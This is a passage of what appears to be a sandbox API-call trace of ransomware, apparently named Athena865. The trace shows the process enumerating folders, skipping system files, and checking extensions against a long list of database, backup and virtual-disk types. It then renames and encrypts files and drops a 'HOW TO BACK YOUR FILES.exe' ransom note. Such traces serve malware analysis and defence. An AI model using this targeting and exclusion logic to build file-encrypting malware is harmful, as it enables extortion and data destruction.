lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="..") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="windows") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="bootmgr") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="temp") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="pagefile.sys") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="boot") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="ids.txt") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="ntuser.dat") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="perflogs") returned 1 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2="MSBuild") returned 1 [0107.952] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0107.952] lstrcpyW (in: lpString1=0x241e8b6, lpString2="WPGIMP32.FLT" | out: lpString1="WPGIMP32.FLT") returned="WPGIMP32.FLT" [0107.952] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0107.952] lstrlenW (lpString="Athena865") returned 9 [0107.952] lstrcmpiW (lpString1="IMP32.FLT", lpString2="Athena865") returned 1 [0107.952] lstrlenW (lpString=".dll") returned 4 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".dll") returned 1 [0107.952] lstrlenW (lpString=".lnk") returned 4 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".lnk") returned 1 [0107.952] lstrlenW (lpString=".ini") returned 4 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".ini") returned 1 [0107.952] lstrlenW (lpString=".sys") returned 4 [0107.952] lstrcmpiW (lpString1="WPGIMP32.FLT", lpString2=".sys") returned 1 [0107.952] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0107.952] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.Athena865") returned 77 [0107.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.athena865"), dwFlags=0x1) returned 1 [0107.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.959] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=280448) returned 1 [0107.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.960] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.960] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.960] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.960] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44a80, lpName=0x0) returned 0x17c [0107.962] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44a80) returned 0x2d50000 [0107.974] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.975] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.975] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.976] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.979] CloseHandle (hObject=0x17c) returned 1 [0107.979] CloseHandle (hObject=0x154) returned 1 [0107.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.980] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0107.980] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0107.980] ReleaseMutex (hMutex=0xec) returned 1 [0107.980] CloseHandle (hObject=0xec) returned 1 [0107.980] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" [0107.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e120 | out: hHeap=0x4f0000) returned 1 [0107.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5f8 | out: hHeap=0x4f0000) returned 1 [0107.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned 51 [0107.980] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\339474E0ACEBF2DCC609110C409E9627") returned 0xec [0107.980] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0107.980] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" [0107.980] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0107.981] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0107.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0107.981] GetLastError () returned 0x0 [0107.981] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0107.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0107.981] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0107.982] CloseHandle (hObject=0xf4) returned 1 [0107.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0107.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0107.983] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.983] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.983] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.983] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcdfcfb40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.983] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.983] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0107.983] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.983] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.983] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcfb40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcdfcfb40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0107.983] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0107.983] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2=".") returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="..") returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="windows") returned -1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="bootmgr") returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="temp") returned -1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="pagefile.sys") returned -1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="boot") returned 1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="ids.txt") returned -1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="ntuser.dat") returned -1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="perflogs") returned -1 [0107.983] lstrcmpiW (lpString1="hxds.dll", lpString2="MSBuild") returned -1 [0107.983] lstrlenW (lpString="hxds.dll") returned 8 [0107.983] lstrcpyW (in: lpString1=0x241e8b0, lpString2="hxds.dll" | out: lpString1="hxds.dll") returned="hxds.dll" [0107.983] lstrlenW (lpString="hxds.dll") returned 8 [0107.983] lstrlenW (lpString="Athena865") returned 9 [0107.984] lstrlenW (lpString=".dll") returned 4 [0107.984] lstrcmpiW (lpString1="hxds.dll", lpString2=".dll") returned 1 [0107.984] lstrlenW (lpString=".lnk") returned 4 [0107.984] lstrcmpiW (lpString1="hxds.dll", lpString2=".lnk") returned 1 [0107.984] lstrlenW (lpString=".ini") returned 4 [0107.984] lstrcmpiW (lpString1="hxds.dll", lpString2=".ini") returned 1 [0107.984] lstrlenW (lpString=".sys") returned 4 [0107.984] lstrcmpiW (lpString1="hxds.dll", lpString2=".sys") returned 1 [0107.984] lstrlenW (lpString="hxds.dll") returned 8 [0107.984] lstrlenW (lpString="bak") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0107.984] lstrlenW (lpString="ba_") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0107.984] lstrlenW (lpString="dbb") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0107.984] lstrlenW (lpString="vmdk") returned 4 [0107.984] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0107.984] lstrlenW (lpString="rar") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0107.984] lstrlenW (lpString="zip") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0107.984] lstrlenW (lpString="tgz") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0107.984] lstrlenW (lpString="vbox") returned 4 [0107.984] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0107.984] lstrlenW (lpString="vdi") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0107.984] lstrlenW (lpString="vhd") returned 3 [0107.984] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0107.984] lstrlenW (lpString="vhdx") returned 4 [0107.984] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0107.985] lstrlenW (lpString="avhd") returned 4 [0107.985] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0107.985] lstrlenW (lpString="db") returned 2 [0107.985] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0107.985] lstrlenW (lpString="db2") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0107.985] lstrlenW (lpString="db3") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0107.985] lstrlenW (lpString="dbf") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0107.985] lstrlenW (lpString="mdf") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0107.985] lstrlenW (lpString="mdb") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0107.985] lstrlenW (lpString="sql") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0107.985] lstrlenW (lpString="sqlite") returned 6 [0107.985] lstrcmpiW (lpString1="ds.dll", lpString2="sqlite") returned -1 [0107.985] lstrlenW (lpString="sqlite3") returned 7 [0107.985] lstrcmpiW (lpString1="xds.dll", lpString2="sqlite3") returned 1 [0107.985] lstrlenW (lpString="sqlitedb") returned 8 [0107.985] lstrlenW (lpString="xml") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0107.985] lstrlenW (lpString="$er") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0107.985] lstrlenW (lpString="4dd") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0107.985] lstrlenW (lpString="4dl") returned 3 [0107.985] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0107.985] lstrlenW (lpString="^^^") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0107.986] lstrlenW (lpString="abs") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0107.986] lstrlenW (lpString="abx") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0107.986] lstrlenW (lpString="accdb") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0107.986] lstrlenW (lpString="accdc") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0107.986] lstrlenW (lpString="accde") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0107.986] lstrlenW (lpString="accdr") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0107.986] lstrlenW (lpString="accdt") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0107.986] lstrlenW (lpString="accdw") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0107.986] lstrlenW (lpString="accft") returned 5 [0107.986] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0107.986] lstrlenW (lpString="adb") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0107.986] lstrlenW (lpString="adb") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0107.986] lstrlenW (lpString="ade") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0107.986] lstrlenW (lpString="adf") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0107.986] lstrlenW (lpString="adn") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0107.986] lstrlenW (lpString="adp") returned 3 [0107.986] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0107.987] lstrlenW (lpString="alf") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0107.987] lstrlenW (lpString="ask") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0107.987] lstrlenW (lpString="btr") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0107.987] lstrlenW (lpString="cat") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0107.987] lstrlenW (lpString="cdb") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0107.987] lstrlenW (lpString="ckp") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0107.987] lstrlenW (lpString="cma") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0107.987] lstrlenW (lpString="cpd") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0107.987] lstrlenW (lpString="dacpac") returned 6 [0107.987] lstrcmpiW (lpString1="ds.dll", lpString2="dacpac") returned 1 [0107.987] lstrlenW (lpString="dad") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0107.987] lstrlenW (lpString="dadiagrams") returned 10 [0107.987] lstrlenW (lpString="daschema") returned 8 [0107.987] lstrlenW (lpString="db-journal") returned 10 [0107.987] lstrlenW (lpString="db-shm") returned 6 [0107.987] lstrcmpiW (lpString1="ds.dll", lpString2="db-shm") returned 1 [0107.987] lstrlenW (lpString="db-wal") returned 6 [0107.987] lstrcmpiW (lpString1="ds.dll", lpString2="db-wal") returned 1 [0107.987] lstrlenW (lpString="dbc") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0107.987] lstrlenW (lpString="dbs") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0107.987] lstrlenW (lpString="dbt") returned 3 [0107.987] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0107.988] lstrlenW (lpString="dbv") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0107.988] lstrlenW (lpString="dbx") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0107.988] lstrlenW (lpString="dcb") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0107.988] lstrlenW (lpString="dct") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0107.988] lstrlenW (lpString="dcx") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0107.988] lstrlenW (lpString="ddl") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0107.988] lstrlenW (lpString="dlis") returned 4 [0107.988] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0107.988] lstrlenW (lpString="dp1") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0107.988] lstrlenW (lpString="dqy") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0107.988] lstrlenW (lpString="dsk") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0107.988] lstrlenW (lpString="dsn") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0107.988] lstrlenW (lpString="dtsx") returned 4 [0107.988] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0107.988] lstrlenW (lpString="dxl") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0107.988] lstrlenW (lpString="eco") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0107.988] lstrlenW (lpString="ecx") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0107.988] lstrlenW (lpString="edb") returned 3 [0107.988] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0107.988] lstrlenW (lpString="epim") returned 4 [0107.989] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0107.989] lstrlenW (lpString="fcd") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0107.989] lstrlenW (lpString="fdb") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0107.989] lstrlenW (lpString="fic") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0107.989] lstrlenW (lpString="flexolibrary") returned 12 [0107.989] lstrlenW (lpString="fm5") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0107.989] lstrlenW (lpString="fmp") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0107.989] lstrlenW (lpString="fmp12") returned 5 [0107.989] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0107.989] lstrlenW (lpString="fmpsl") returned 5 [0107.989] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0107.989] lstrlenW (lpString="fol") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0107.989] lstrlenW (lpString="fp3") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0107.989] lstrlenW (lpString="fp4") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0107.989] lstrlenW (lpString="fp5") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0107.989] lstrlenW (lpString="fp7") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0107.989] lstrlenW (lpString="fpt") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0107.989] lstrlenW (lpString="frm") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0107.989] lstrlenW (lpString="gdb") returned 3 [0107.989] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0107.989] lstrlenW (lpString="gdb") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0107.990] lstrlenW (lpString="grdb") returned 4 [0107.990] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0107.990] lstrlenW (lpString="gwi") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0107.990] lstrlenW (lpString="hdb") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0107.990] lstrlenW (lpString="his") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0107.990] lstrlenW (lpString="ib") returned 2 [0107.990] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0107.990] lstrlenW (lpString="idb") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0107.990] lstrlenW (lpString="ihx") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0107.990] lstrlenW (lpString="itdb") returned 4 [0107.990] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0107.990] lstrlenW (lpString="itw") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0107.990] lstrlenW (lpString="jet") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0107.990] lstrlenW (lpString="jtx") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0107.990] lstrlenW (lpString="kdb") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0107.990] lstrlenW (lpString="kexi") returned 4 [0107.990] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0107.990] lstrlenW (lpString="kexic") returned 5 [0107.990] lstrcmpiW (lpString1="s.dll", 